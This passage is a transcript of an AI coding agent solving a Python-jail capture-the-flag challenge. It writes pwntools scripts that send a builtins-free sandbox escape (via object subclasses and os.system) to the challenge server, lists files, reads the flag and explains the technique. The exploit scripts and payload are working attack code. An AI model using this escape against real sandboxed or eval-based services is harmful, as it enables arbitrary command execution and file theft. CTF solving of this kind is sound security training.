"id": "call_00_JEWScbwO3i4wQib9sdoU2ogE",
"name": "run_shell_command",
"response": {
"output": "Command: python3 -c \"import pwn; print('pwntools available')\"\nDirectory: (root)\nOutput: pwntools available\nError: (none)\nExit Code: 0\nSignal: (none)\nBackground PIDs: 1793986\nProcess Group PGID: (none)"
}
}
✨ ## MODEL
Good! Now let me write the exploit script:Tool Command:
{
"id": "call_00_kFsuBNL6SY1xcgWMlrp1PMJK",
"name": "write_file",
"args": {
"file_path": "/home/jiegec/ctf/temp/exploit.py",
"content": "#!/usr/bin/env python3\nfrom pwn import *\n\n# Remote server details\nhost = 'ctf.jia.je'\nport = 32784\n\ndef test_exploit():\n # First, let's test locally what payload works\n test_payload = \"''.__class__.__mro__[1].__subclasses__()[158].close.__globals__['system']('ls')\"\n \n # Simulate the jail locally\n try:\n result = eval(test_payload, {'__builtins__': {}})\n print(f\"Local test result: {result}\")\n except Exception as e:\n print(f\"Local test error: {e}\")\n \n # Try a different approach - get os module first\n test_payload2 = \"''.__class__.__mro__[1].__subclasses__()[158].close.__globals__\"\n try:\n result = eval(test_payload2, {'__builtins__': {}})\n print(f\"Got globals, keys: {list(result.keys())[:10]}\")\n except Exception as e:\n print(f\"Error getting globals: {e}\")\n\ndef exploit_remote():\n # Connect to remote server\n conn = remote(host, port)\n \n # First, let's try to list files in current directory\n # We need to be careful about quotes - use double quotes inside single quotes\n payload = \"''.__class__.__mro__[1].__subclasses__()[158].close.__globals__['system']('ls -la')\"\n \n print(f\"Sending payload: {payload}\")\n conn.sendline(payload.encode())\n \n # Receive response\n response = conn.recvall(timeout=2)\n print(f\"Response: {response.decode()}\")\n \n conn.close()\n\nif __name__ == \"__main__\":\n print(\"Testing exploit locally first...\")\n test_exploit()\n print(\"\\nExploiting remote server...\")\n exploit_remote()"
}
}
🧑💻 ## USER
Tool Response:
{
"id": "call_00_kFsuBNL6SY1xcgWMlrp1PMJK",
"name": "write_file",
"response": {
"output": "Successfully created and wrote to new file: /home/jiegec/ctf/temp/exploit.py."
}
}
✨ ## MODEL
Tool Command:
{
"id": "call_00_SRCXXENWzUNupkX7zjreJUKx",
"name": "run_shell_command",
"args": {
"command": "cd /home/jiegec/ctf/temp && python3 exploit.py",
"is_background": false,
"description": "Test the exploit script"
}
}
🧑💻 ## USER
Tool Response:
{
"id": "call_00_SRCXXENWzUNupkX7zjreJUKx",
"name": "run_shell_command",
"response": {
"output": "Command: cd /home/jiegec/ctf/temp && python3 exploit.py\nDirectory: (root)\nOutput: exploit.py\nfind_os_wrap_close.py\nmain.py\ntest_exploit.py\ntest_jail.py\ntest_wrap_close.py\nTesting exploit locally first...\nLocal test result: 0\nGot globals, keys: ['__name__', '__doc__', '__package__', '__loader__', '__spec__', '__file__', '__builtins__', 'abc', 'sys', 'st']\n\nExploiting remote server...\n[x] Opening connection to ctf.jia.je on port 32784\n[x] Opening connection to ctf.jia.je on port 32784: Trying 172.238.22.117\n[+] Opening connection to ctf.jia.je on port 32784: Done\nSending payload: ''.__class__.__mro__[1].__subclasses__()[158].close.__globals__['system']('ls -la')\n[x] Receiving all data\n[x] Receiving all data: 0B\n[x] Receiving all data: 5B\n[x] Receiving all data: 203B\n[+] Receiving all data: Done (203B)\n[*] Closed connection to ctf.jia.je port 32784\nResponse: jail>total 16\ndrwxr-xr-x 1 root root 4096 Nov 23 12:50 .\ndrwxr-xr-x 1 root root 4096 Dec 6 10:10 ..\n-rw-rw-r-- 1 root root 43 Nov 23 12:49 flag\n-rw-rw-r-- 1 root root 130 Nov 23 12:48 main.py\n0\njail>\nError: (none)\nExit Code: 0\nSignal: (none)\nBackground PIDs: 1794046\nProcess Group PGID: (none)"
}
}
✨ ## MODEL
Great! The exploit works! We can see there’s a flag file in the directory. Now let me update the todo and create a script to read the flag:Tool Command:
{
"id": "call_00_LHMurrNll62xLTMkSeVDbM15",
"name": "todo_write",
"args": {
"todos": [
{
"id": "1",
"content": "Analyze the jail challenge and understand the restrictions",
"status": "completed"
},
{
"id": "2",
"content": "Test local exploitation to understand the jail",
"status": "completed"
},
{
"id": "3",
"content": "Write pwntools script to connect to remote server",
"status": "completed"
},
{
"id": "4",
"content": "Find and read the flag file",
"status": "in_progress"
},
{
"id": "5",
"content": "Extract and submit the flag",
"status": "pending"
}
]
}
}
🧑💻 ## USER
Tool Response:
{
"id": "call_00_LHMurrNll62xLTMkSeVDbM15",
"name": "todo_write",
"response": {
"output": "Todos have been modified successfully. Ensure that you continue to use the todo list to track your progress. Please proceed with the current tasks if applicable\n\n<system-reminder>\nYour todo list has changed. DO NOT mention this explicitly to the user. Here are the latest contents of your todo list: \n\n[{\"id\":\"1\",\"content\":\"Analyze the jail challenge and understand the restrictions\",\"status\":\"completed\"},{\"id\":\"2\",\"content\":\"Test local exploitation to understand the jail\",\"status\":\"completed\"},{\"id\":\"3\",\"content\":\"Write pwntools script to connect to remote server\",\"status\":\"completed\"},{\"id\":\"4\",\"content\":\"Find and read the flag file\",\"status\":\"in_progress\"},{\"id\":\"5\",\"content\":\"Extract and submit the flag\",\"status\":\"pending\"}]. Continue on with the tasks at hand if applicable.\n</system-reminder>"
}
}
✨ ## MODEL
Now let me write a script to read the flag file:Tool Command:
{
"id": "call_00_NMFShPrS05fzO2RHKJtStpg5",
"name": "write_file",
"args": {
"file_path": "/home/jiegec/ctf/temp/read_flag.py",
"content": "#!/usr/bin/env python3\nfrom pwn import *\n\n# Remote server details\nhost = 'ctf.jia.je'\nport = 32784\n\ndef read_flag():\n # Connect to remote server\n conn = remote(host, port)\n \n # Read the flag file using cat command\n payload = \"''.__class__.__mro__[1].__subclasses__()[158].close.__globals__['system']('cat flag')\"\n \n print(f\"Sending payload to read flag...\")\n conn.sendline(payload.encode())\n \n # Receive response\n response = conn.recvall(timeout=2)\n \n # Parse the response\n response_text = response.decode()\n print(f\"Full response:\\n{response_text}\")\n \n # Extract flag (look for flag format)\n lines = response_text.split('\\n')\n for line in lines:\n if 'flag{' in line or 'FLAG{' in line or line.startswith('ctf{'):\n print(f\"\\nFound flag: {line}\")\n return line.strip()\n \n conn.close()\n return None\n\ndef try_alternative():\n # Try using python to read the file directly\n conn = remote(host, port)\n \n # Use open() from os module\n payload = \"globals = ''.__class__.__mro__[1].__subclasses__()[158].close.__globals__; open_func = globals['open']; f = open_func('flag', 'r'); data = f.read(); f.close(); data\"\n \n print(f\"Trying alternative payload...\")\n conn.sendline(payload.encode())\n \n response = conn.recvall(timeout=2)\n response_text = response.decode()\n print(f\"Alternative response:\\n{response_text}\")\n \n conn.close()\n\nif __name__ == \"__main__\":\n print(\"Attempting to read flag...\")\n flag = read_flag()\n \n if not flag:\n print(\"\\nTrying alternative method...\")\n try_alternative()"
}
}
🧑💻 ## USER
Tool Response:
{
"id": "call_00_NMFShPrS05fzO2RHKJtStpg5",
"name": "write_file",
"response": {
"output": "Successfully created and wrote to new file: /home/jiegec/ctf/temp/read_flag.py."
}
}
✨ ## MODEL
Tool Command:
{
"id": "call_00_gEhpsbHCpi14h1HMEpMQoo7M",
"name": "run_shell_command",
"args": {
"command": "cd /home/jiegec/ctf/temp && python3 read_flag.py",
"is_background": false,
"description": "Read the flag from the remote server"
}
}
🧑💻 ## USER
Tool Response:
{
"id": "call_00_gEhpsbHCpi14h1HMEpMQoo7M",
"name": "run_shell_command",
"response": {
"output": "Command: cd /home/jiegec/ctf/temp && python3 read_flag.py\nDirectory: (root)\nOutput: Attempting to read flag...\n[x] Opening connection to ctf.jia.je on port 32784\n[x] Opening connection to ctf.jia.je on port 32784: Trying 172.238.22.117\n[+] Opening connection to ctf.jia.je on port 32784: Done\nSending payload to read flag...\n[x] Receiving all data\n[x] Receiving all data: 0B\n[x] Receiving all data: 5B\n[x] Receiving all data: 55B\n[+] Receiving all data: Done (55B)\n[*] Closed connection to ctf.jia.je port 32784\nFull response:\njail>flag{wow_you_can_get_flag_without_builtins}0\njail>\n\nFound flag: jail>flag{wow_you_can_get_flag_without_builtins}0\nError: (none)\nExit Code: 0\nSignal: (none)\nBackground PIDs: 1794125\nProcess Group PGID: (none)"
}
}
✨ ## MODEL
Excellent! We found the flag! Let me update the todo and clean up the output:Tool Command:
{
"id": "call_00_rJdosg0tbRibLJYSIZLjtQua",
"name": "todo_write",
"args": {
"todos": [
{
"id": "1",
"content": "Analyze the jail challenge and understand the restrictions",
"status": "completed"
},
{
"id": "2",
"content": "Test local exploitation to understand the jail",
"status": "completed"
},
{
"id": "3",
"content": "Write pwntools script to connect to remote server",
"status": "completed"
},
{
"id": "4",
"content": "Find and read the flag file",
"status": "completed"
},
{
"id": "5",
"content": "Extract and submit the flag",
"status": "in_progress"
}
]
}
}
🧑💻 ## USER
Tool Response:
{
"id": "call_00_rJdosg0tbRibLJYSIZLjtQua",
"name": "todo_write",
"response": {
"output": "Todos have been modified successfully. Ensure that you continue to use the todo list to track your progress. Please proceed with the current tasks if applicable\n\n<system-reminder>\nYour todo list has changed. DO NOT mention this explicitly to the user. Here are the latest contents of your todo list: \n\n[{\"id\":\"1\",\"content\":\"Analyze the jail challenge and understand the restrictions\",\"status\":\"completed\"},{\"id\":\"2\",\"content\":\"Test local exploitation to understand the jail\",\"status\":\"completed\"},{\"id\":\"3\",\"content\":\"Write pwntools script to connect to remote server\",\"status\":\"completed\"},{\"id\":\"4\",\"content\":\"Find and read the flag file\",\"status\":\"completed\"},{\"id\":\"5\",\"content\":\"Extract and submit the flag\",\"status\":\"in_progress\"}]. Continue on with the tasks at hand if applicable.\n</system-reminder>"
}
}
✨ ## MODEL
Now let me create a final script that extracts the flag cleanly:Tool Command:
{
"id": "call_00_Gw0iOtvnBFW9l6rsfHQzcl8r",
"name": "write_file",
"args": {
"file_path": "/home/jiegec/ctf/temp/get_flag.py",
"content": "#!/usr/bin/env python3\nfrom pwn import *\nimport re\n\n# Remote server details\nhost = 'ctf.jia.je'\nport = 32784\n\ndef get_flag():\n # Connect to remote server\n conn = remote(host, port)\n \n # Read the flag file using cat command\n payload = \"''.__class__.__mro__[1].__subclasses__()[158].close.__globals__['system']('cat flag')\"\n \n conn.sendline(payload.encode())\n \n # Receive response\n response = conn.recvall(timeout=2)\n conn.close()\n \n # Parse the response\n response_text = response.decode()\n \n # Extract flag using regex\n flag_pattern = r'flag\\{[^}]+\\}'\n match = re.search(flag_pattern, response_text)\n \n if match:\n flag = match.group(0)\n print(f\"Flag: {flag}\")\n return flag\n else:\n print(f\"Could not extract flag from response:\")\n print(response_text)\n return None\n\nif __name__ == \"__main__\":\n flag = get_flag()\n if flag:\n print(f\"\\nSuccessfully extracted flag: {flag}\")"
}
}
🧑💻 ## USER
Tool Response:
{
"id": "call_00_Gw0iOtvnBFW9l6rsfHQzcl8r",
"name": "write_file",
"response": {
"output": "Successfully created and wrote to new file: /home/jiegec/ctf/temp/get_flag.py."
}
}
✨ ## MODEL
Tool Command:
{
"id": "call_00_PHFZ0LmKbpt2keIBwbtpVRZ6",
"name": "run_shell_command",
"args": {
"command": "cd /home/jiegec/ctf/temp && python3 get_flag.py",
"is_background": false,
"description": "Extract the flag cleanly"
}
}
🧑💻 ## USER
Tool Response:
{
"id": "call_00_PHFZ0LmKbpt2keIBwbtpVRZ6",
"name": "run_shell_command",
"response": {
"output": "Command: cd /home/jiegec/ctf/temp && python3 get_flag.py\nDirectory: (root)\nOutput: [x] Opening connection to ctf.jia.je on port 32784\n[x] Opening connection to ctf.jia.je on port 32784: Trying 172.238.22.117\n[+] Opening connection to ctf.jia.je on port 32784: Done\n[x] Receiving all data\n[x] Receiving all data: 0B\n[x] Receiving all data: 5B\n[x] Receiving all data: 55B\n[+] Receiving all data: Done (55B)\n[*] Closed connection to ctf.jia.je port 32784\nFlag: flag{wow_you_can_get_flag_without_builtins}\n\nSuccessfully extracted flag: flag{wow_you_can_get_flag_without_builtins}\nError: (none)\nExit Code: 0\nSignal: (none)\nBackground PIDs: 1794199\nProcess Group PGID: (none)"
}
}
✨ ## MODEL
Perfect! Let me update the final todo:Tool Command:
{
"id": "call_00_aceWYtSgEkzNaWsSQskkkuuj",
"name": "todo_write",
"args": {
"todos": [
{
"id": "1",
"content": "Analyze the jail challenge and understand the restrictions",
"status": "completed"
},
{
"id": "2",
"content": "Test local exploitation to understand the jail",
"status": "completed"
},
{
"id": "3",
"content": "Write pwntools script to connect to remote server",
"status": "completed"
},
{
"id": "4",
"content": "Find and read the flag file",
"status": "completed"
},
{
"id": "5",
"content": "Extract and submit the flag",
"status": "completed"
}
]
}
}
🧑💻 ## USER
Tool Response:
{
"id": "call_00_aceWYtSgEkzNaWsSQskkkuuj",
"name": "todo_write",
"response": {
"output": "Todos have been modified successfully. Ensure that you continue to use the todo list to track your progress. Please proceed with the current tasks if applicable\n\n<system-reminder>\nYour todo list has changed. DO NOT mention this explicitly to the user. Here are the latest contents of your todo list: \n\n[{\"id\":\"1\",\"content\":\"Analyze the jail challenge and understand the restrictions\",\"status\":\"completed\"},{\"id\":\"2\",\"content\":\"Test local exploitation to understand the jail\",\"status\":\"completed\"},{\"id\":\"3\",\"content\":\"Write pwntools script to connect to remote server\",\"status\":\"completed\"},{\"id\":\"4\",\"content\":\"Find and read the flag file\",\"status\":\"completed\"},{\"id\":\"5\",\"content\":\"Extract and submit the flag\",\"status\":\"completed\"}]. Continue on with the tasks at hand if applicable.\n</system-reminder>"
}
}
✨ ## MODEL
I’ve successfully solved the CTF challenge. The flag is:
flag{wow_you_can_get_flag_without_builtins}
Analyzed the jail: The challenge was a Python jail with __builtins__ restricted to an empty dictionary, preventing direct use of built-in functions.
Found exploitation path: Used Python’s object introspection to access the os._wrap_close class (at index 158 in the subclass list), which has a close method with __globals__ attribute pointing to the os module.
Payload: ''.__class__.__mro__[1].__subclasses__()[158].close.__globals__['system']('cat flag')
Executed remotely: Connected to ctf.jia.je:32784 using pwntools and executed the payload to read the flag file.
The exploit works by:
_wrap_close class in subclassesclose method’s __globals__ to get the os moduleos.system() to execute shell commands and read the flag╭───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ │
│ Agent powering down. Goodbye! │
│ │
│ Interaction Summary │
│ Session ID: f7166e51-0b0c-4e38-afe6-7b547e7dd05e │
│ Tool Calls: 22 ( ✓ 22 x 0 ) │
│ Success Rate: 100.0% │
│ Code Changes: +260 -0 │
│ │
│ Performance │
│ Wall Time: 6m 29s │
│ Agent Active: 3m 30s │
│ » API Time: 3m 14s (92.4%) │
│ » Tool Time: 16.0s (7.6%) │
│ │
│ │
│ Model Usage Reqs Input Tokens Output Tokens │
│ ─────────────────────────────────────────────────────────────── │
│ deepseek-chat 23 409,318 5,281 │
│ │
│ Savings Highlight: 401,792 (98.2%) of input tokens were served from the cache, reducing costs. │
│ │
│ » Tip: For a full token breakdown, run `/stats model`. │
│ │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯